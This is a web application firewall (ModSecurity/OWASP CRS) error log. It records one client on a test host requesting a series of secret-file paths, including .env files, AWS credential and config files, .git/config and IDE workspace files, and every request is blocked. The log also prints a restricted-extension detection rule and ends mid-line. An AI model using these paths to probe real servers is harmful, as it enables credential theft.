[Tue Jul 01 06:30:23.196630 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOQAAAAY&quot;]
[Tue Jul 01 06:30:23.196802 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOQAAAAY&quot;]
[Tue Jul 01 06:30:23.216906 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOgAAAAY&quot;]
[Tue Jul 01 06:30:23.217136 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOgAAAAY&quot;]
[Tue Jul 01 06:30:23.217404 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOgAAAAY&quot;]
[Tue Jul 01 06:30:23.237352 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOwAAAAY&quot;]
[Tue Jul 01 06:30:23.237589 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOwAAAAY&quot;]
[Tue Jul 01 06:30:23.237787 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsOwAAAAY&quot;]
[Tue Jul 01 06:30:23.257779 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsPAAAAAY&quot;]
[Tue Jul 01 06:30:23.258011 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsPAAAAAY&quot;]
[Tue Jul 01 06:30:23.258224 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsPAAAAAY&quot;]
[Tue Jul 01 06:30:23.278277 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsPQAAAAY&quot;]
[Tue Jul 01 06:30:23.278612 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsPQAAAAY&quot;]
[Tue Jul 01 06:30:23.278802 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsPQAAAAY&quot;]
[Tue Jul 01 06:30:23.320065 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsPwAAAAY&quot;]
[Tue Jul 01 06:30:23.320308 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsPwAAAAY&quot;]
[Tue Jul 01 06:30:23.320501 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsPwAAAAY&quot;]
[Tue Jul 01 06:30:23.340530 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsQAAAAAY&quot;]
[Tue Jul 01 06:30:23.340756 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsQAAAAAY&quot;]
[Tue Jul 01 06:30:23.340924 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aGNkX_ZHrFQ9LfBs7ULsQAAAAAY&quot;]
[Tue Jul 01 06:30:27.430020 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsTwAAAAY&quot;]
[Tue Jul 01 06:30:27.430271 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsTwAAAAY&quot;]
[Tue Jul 01 06:30:27.430481 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsTwAAAAY&quot;]
[Tue Jul 01 06:30:27.450624 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsUAAAAAY&quot;]
[Tue Jul 01 06:30:27.450856 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsUAAAAAY&quot;]
[Tue Jul 01 06:30:27.451035 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsUAAAAAY&quot;]
[Tue Jul 01 06:30:27.471272 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsUQAAAAY&quot;]
[Tue Jul 01 06:30:27.471519 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsUQAAAAY&quot;]
[Tue Jul 01 06:30:27.471706 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsUQAAAAY&quot;]
[Tue Jul 01 06:30:27.513855 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/workspace.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsUwAAAAY&quot;]
[Tue Jul 01 06:30:27.514087 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsUwAAAAY&quot;]
[Tue Jul 01 06:30:27.514300 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aGNkY_ZHrFQ9LfBs7ULsUwAAAAY&quot;]
[Tue Jul 01 06:30:27.555494 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] 